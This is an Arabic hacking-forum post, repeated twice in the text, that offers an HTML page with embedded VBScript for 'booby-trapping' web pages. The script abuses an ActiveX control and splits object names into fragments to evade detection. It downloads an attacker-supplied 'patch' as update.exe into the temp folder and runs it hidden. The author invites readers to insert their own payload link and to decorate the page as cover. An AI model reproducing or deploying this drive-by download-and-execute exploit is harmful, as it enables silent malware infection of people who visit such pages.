BlAcK HuNtEr
12-13-2012, 12:00 AM
السلام عليكم ورحمة الله
اقدم لكم اخواني في هذا الصرح العظيم كود بلغة HTML لتلغيم الصفحات المكتوبة بهذه اللغة
تابع واستبدل اللازم في الكود
<HTML>
<BODY>
<script language="VBScript">
on error resume next dl = [COLOR="#FF0000">"هنا تضع رابط باتشك المباشر"[/COLOR] Set df = document.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML>
المصدر شبكة الصاعقة العربية لتعليم الهكرز http://forum.sa3eka.com/soft2503.html#ixzz2EsC1Euey
طبعا لو تضيف بعض الزيادات على الكود مثل ادراج صورة أو صوت بيكون نور على نور
وفي الختام أستودعكم الله
وأرجو دعوة لي بظهر الغيب
أخوكم BlAcK HuNtEr
اقدم لكم اخواني في هذا الصرح العظيم كود بلغة HTML لتلغيم الصفحات المكتوبة بهذه اللغة
تابع واستبدل اللازم في الكود
<HTML>
<BODY>
<script language="VBScript">
on error resume next dl = [COLOR="#FF0000">"هنا تضع رابط باتشك المباشر"[/COLOR] Set df = document.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML>
المصدر شبكة الصاعقة العربية لتعليم الهكرز http://forum.sa3eka.com/soft2503.html#ixzz2EsC1Euey
طبعا لو تضيف بعض الزيادات على الكود مثل ادراج صورة أو صوت بيكون نور على نور
وفي الختام أستودعكم الله
وأرجو دعوة لي بظهر الغيب
أخوكم BlAcK HuNtEr